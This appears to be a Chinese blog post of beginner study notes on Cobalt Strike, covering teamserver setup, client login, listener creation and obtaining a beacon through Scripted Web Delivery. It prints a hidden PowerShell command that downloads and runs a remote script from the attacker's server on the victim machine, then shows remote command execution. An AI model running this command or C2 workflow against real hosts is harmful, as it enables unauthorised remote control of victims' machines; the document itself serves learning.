Cobalt Strike(学习笔记)

2023-11-18

Cobalt Strike简介

Cobalt Strike 是一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。

Cobalt Strike: C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。

注:鉴于作为新人面试会用到这些基础知识,所以把简介也抄过来了。

安装Cobalt Strike

1.安装java环境

kali系统默认安装java环境。

2.部署TeamServer

在安装cobalt strike时,必须搭建团队服务器(teamserver服务器)。kali系统打开cobaltstrike文件夹,如下图:
在这里插入图片描述

输入“ls -l”命令,查看teamserver和cobaltstrike是否具有x的执行权限。
在这里插入图片描述

如果teamserver和cobaltstrike不具备x执行权限,可以通过如下命令进行添加。

 chmod +x teamserver cobaltstrike

cobaltstrike 文件夹中有多个文件和文件夹。其功能如下:

agscript:拓展应用脚本。

c2lint:用于检查profile的错误和异常。

teamserver:团队服务程序。

cobaltstrike和cobaltstrikes.jar:客户端程序。

因为teamserver文件是通过java来调用cobalstrike的,所以直接在命令运行行环境中输入第一个文件的内容也能启动cobaltstrike客户端。

logs:日志,包括web日志、beacon日志、截图日志、下载日志、键盘记录日志等。

datas:用于保存当前teamserver的一些数据。

update和update.jar:用于更新cobalstrike。

最后,运行团队服务器。设置当前主机的IP地址和团队服务器的密码。输入如下命令启动teamserver。

./teamserver 192.168.144.130 password     //kali IP地址 ,密码

在这里插入图片描述
启动Cobalt Strike

1.启动cobaltstrike.jar

在linux下,可以直接通过./cobaltstrike启动客户端,如下图:
在这里插入图片描述
在这里插入图片描述
填写团队服务器的IP地址、端口号、用户名、密码。在这里,登录的用户名可以任意输人,但要保证当前该用户名没有被用来登录Cobalt Strike服务器。

在确认信息填写无误后,点击Connect连接服务端,这时候会出现指纹校验对话框,如下图。指纹校验的主要作用是防篡改,且每次创建Cobalt Strike团队服务器时生成的指纹都不一样。
在这里插入图片描述
在客户端向服务器成功获取相关信息后,即可打开Cobalt Strike 主页面,Cobalt Strike 主页面主要分为菜单栏、快捷功能区、目标列表区、控制台命令输出区、控制台命令输入区。

菜单栏:集成了Cobalt Strike的所有功能。

快捷功能区:列出常用的功能。

目标列表:根据不同的显示模式,显示已获取权限的主机及目标主机。

控制台命令输出区:输出命令的执行结果。

控制台命令输人区:输入命令。

2.利用cobalstrike获取第一个beacon

建立listener

可以通过菜单栏“cobaltstrike”进入“listeners”面板
在这里插入图片描述
也可以通过快捷功能区进入“listeners”面板
在这里插入图片描述

单击‘’Add‘’按钮,新建一个监听器,输入名称、监听器类型、团队服务器ip地址、监听的端口,然后单击‘’Save‘’按钮保存设置
在这里插入图片描述

使用web delivery 执行payload

单击 “Attacks” 菜单,选择”Web Drive-by”→”Scripted Web Delivery”选项。

图片

或者通过快捷功能区,打开“Scripted Web Delivery”窗口
图片

保持默认配置,选择已经创建的监听器,设置类型为PowerShell,然后单击“Launch”按钮
在这里插入图片描述
将Cobalt Strike生成的Payload完整地复制下来
在这里插入图片描述

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.144.130:80/a'))"

其中url它是个文件路径,就是让目标 (受害者)通过这个地址和端口下载恶意脚本。

访问这个url,可以看到是一段powershell代码,如下图。
在这里插入图片描述
在目标机器上执行Payload

执行Payload,Cobalt Strike 会收到一个Beacon
在这里插入图片描述
执行以后,可以在Cobalt Strike的日志里面看到一条日志
在这里插入图片描述
在Cobalt Strike 的主页面中可以看到有机器上线(包含外网IP地址,内网IP地址、监听器、用户名、机器名、是否有特权、Beacon进程的PID、心跳时间等信息)
在这里插入图片描述
与目标主机进行交互操作

单击右键,在弹出的快捷菜单中选中需要操作的Beacon,然后单击”Interact”选项,进入主机交互模式
在这里插入图片描述
现在就可以输入一些命令来执行相关操作了。输入”shell whoami”命令,查看当前用户,在心跳时间后就会执行该命令。在执行命令时,需要在命令前添加”shell”。Beacon的每次回连时间默认为60秒。回连后,执行命令的任务将被下发,并成功回显命令的执行结果
在这里插入图片描述

不是原创,新人笔记。
感谢公众号【乌云安全】,感谢斗哥。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Cobalt Strike(学习笔记) 的相关文章

  • 基于微信小程序的短视频管理系统

    末尾获取源码 开发语言 Java Java开发工具 JDK1 8 后端框架 SSM 前端框架 VUE 数据库 MySQL5 7 服务器 Tomcat8 5 开发软件 IDEA Eclipse 是否Maven项目 是 目录 一 项目简介 二
  • NEZUKO: 1——202201152003

    NEZUKO 1 202201152003 About Release Back to the Top Name nezuko 1 Date release 21 Aug 2019 Author yunaranyancat Series n
  • 五一假期出行的数据爬取和分析

    出来旅行 用手机编辑的 代码格式有可能出现问题 等回去用电脑进行修改 你们的萧萧吖 随着旅游业的迅速发展 越来越多的人选择在假期去旅游 五一假期是国内最热门的旅游季节之一 吸引了大量的游客前往各个景点 本篇博客将介绍如何使用 Python
  • XXE漏洞原理

    XXE漏洞是XML外部实体注入漏洞 那什么是外部实体呢 XML DTD 1 文档类型定义 DTD 可定义合法的XML文档构建模块 它使用一系列合法的元素来定义文档的结构 2 DTD 可被成行地声明于 XML 文档中 也可作为一个外部引用 P
  • 机器学习基础 第三章 分类算法

    1 线性分类器 感知器 1 1 感知器 有如图1 1所示的两类数据希望找到 如果想把他们分开 最简单的方法就是用图中的绿线将它们分开 显然绿线的方程为 t 0 1x 1y 1 1 1 t omega 0 omega 1 x omega 1
  • Linux的缓存内存(cache memory)

    PS 为什么Linux系统没运行多少程序 显示的可用内存这么少 其实Linux与Win的内存管理不同 会尽量缓存内存以提高读写性能 通常叫做Cache Memory 为什么Linux系统没运行多少程序 显示的可用内存这么少 其实Linux与

随机推荐

  • PyTorch模型训练集正常收敛,但验证集准确率稳定在10%并保持不变

    问题描述 训练过程中遇到的一个Bug 可能是跟Torch本身有关 如下图和题目所示 经过多轮训练 训练准确率开始收敛 但是验证准确率保持在10 左右不变 排查手册 一般来说这表示模型本身可能存在问题 下面列出一个排查手册 检查是否是数据问题
  • C#中的DataGridView中添加按钮并操作数据

    目录 背景 一 在DataGridView中显示需要的按钮 二 给DataGridView添加事件 可以通过按钮来操作数据库 三 在按钮上鼠标箭头变成小手样式 四 总结 背景 最近在项目中有需求需要在DataGridView中添加 删除 修
  • 十进制数转8421BCD码

    十进制数转8421BCD码就是把十进制数字每一位都用4个二进制位所组成的数字代替 十进制数 8421码 余3码 0 0000 0011 1 0001 0100 2 0010 0101 3 0011 0110 4 0100 0111 5 01
  • 拿下60亿流量的《惊雷》都是哪些人在听?python帮你统计出来

    前言 本文的文字及图片来源于网络 仅供学习 交流使用 不具有任何商业用途 版权归原作者所有 如有问题请及时联系我们以作处理 作者 听不来喊麦的C君 PS 如果你处于想学Python或者正在学习Python Python的教程不少了吧 但是是
  • phpstudy安装及简单使用

    前言 我们都知道如果要搭建网站 就需要借助Apache或者Nginx的帮助 当然也少不了数据库的使用 我们自行下载Apache和MySQL等数据库 需要我们进行配置才能使用 这对于一些小白非常的不方便 而且出现一些错误不会解决可能会耽搁很长
  • MySQL执行顺序

    mysql执行顺序如下 1 from 阶段 2 where 阶段 3 group by 阶段 4 having 阶段 5 select 阶段 6 order by 阶段 7 limit 阶段 问题 为什么别名不可以使用在where中 但可以
  • 队列以及Java实现

    了解队列 在我们的现实生活中会经常看见队列的出现 如 排队买奶茶 叫号服务和餐厅的排号 我们去餐厅准备吃饭时 由于人多只能排队等待就餐或换一家人少的餐厅 餐厅为了让服务更加的好 就会使用排队系统 排队系统完全模拟了人群排队全过程 通过取票进
  • el-cascader 懒加载回显问题解决

    解决思路 在页面初始化技术后根据组件的ref 直接给组件的inputValue和inputTerxt赋label的值 前提是你之前已经保存过这个值 ref的部分属性 代码
  • 靠Python做副业一年买了房:未来五年的风口行业 ,90%的人都不知道

    程序开发领域有这样一句话 人生苦短 我用Python 这本是开发者大佬Bruce Eckel的金句 Life is short you need Python 有趣的是 很多人并非专职程序员 但却把这句话奉为神谕 所以Python究竟有什么
  • Python中MNE库的脑电地形图绘制

    脑电地形图在进行和 源 相关的分析时很有用 可以直观的看出各个电极的激活情况以及其随时间的变化 在标准的脑电数据中都是有电极的坐标位置的 会用EEGLab的可能对这块比较熟悉了 实际MNE库中也有相关的定义和实现 可以导入外部的电极数据 或
  • top 内存耗用:VSS/RSS/PSS/USS

    转载 http blog csdn net adaptiver article details 7084364 Terms VSS Virtual Set Size 虚拟耗用内存 包含共享库占用的内存 RSS Resident Set Si
  • Python-OpenCv读取,输出图像

    读取图像 调用imread函数生成像素点矩阵 img cv2 imread lll jpg 读图片 print函数查看矩阵 print img 输出图像 调用imshow函数 新建一个show py文件写输出函数分别调用 resize函数设
  • C#中Ilist与list的区别小结

    常见问题 Ilist lt gt 本身只是一个泛型接口 既然是接口当然不能实例化 只能用如下方法 IList
  • python的print打印颜色设置

    1 顺序 显示方式 前景颜色 背景颜色 2 顺序非固定 但尽量按默认书写方式 3 也可以在input中输出使用 4 格式 print 033 显示方式 前景颜色 背景颜色m 033 0m 显示方式 意义 显示方式 默认 0 高亮显示 1 下
  • 读书笔记:Bi-Directional Cascade Network for Perceptual Edge Detection

    目录 摘要 1 介绍 2 相关工作 3 方法 3 1公式 3 2BDCN的架构 3 3网络训练 4 实验 4 1数据集 摘要 利用多尺度表示对于提高不同尺度对象的边缘检测至关重要 为了利用多尺度提取边缘 我们提出了一种全向级联网络 BDCN
  • 仿网页列表的实现

    序言 实现思路 代码实现 效果展现 总结 序言 最近遇到了一项需求 用Android实现网页中的列表效果 首先我便想到了用ListView的方式来实现 由于网页的表格数据通常都是以一行的形式展现的 因此 我把需要展现的数据放在了一行 可是需
  • python中的tcp/ip连接

    参考博客 https blog csdn net c123 sensing article details 81563702 服务端的代码 usr bin python coding UTF 8 import socket sock soc
  • Android很好看的登陆界面(包含详细代码)

    一 这是我自己在做一个小项目的时候做的界面 在这里分享给大家 其实没什么东西 主要是利用了Material Design设计风格 1 在这里给大家安利一下Material Design设计风格 这个组件库的里面的组件和Android原生的组
  • 【SSL证书安全】

    SSL证书介绍 一种数字证书 也被称为 https证书 CA证书 安全证书 服务器证书 或 SSL证书 一般新申请的证书中 由三部分组成 分别为 CA证书 公钥 私钥 术语定义 发送内容 私钥加密过的内容 数字签名 确认发送内容的完整性 h
  • Cobalt Strike(学习笔记)

    Cobalt Strike简介 Cobalt Strike 是一款GUI的框架式渗透工具 集成了端口转发 服务扫描 自动化溢出 多模式端口监听 win exe木马生成 win dll木马生成 java木马生成 office宏病毒生成 木马捆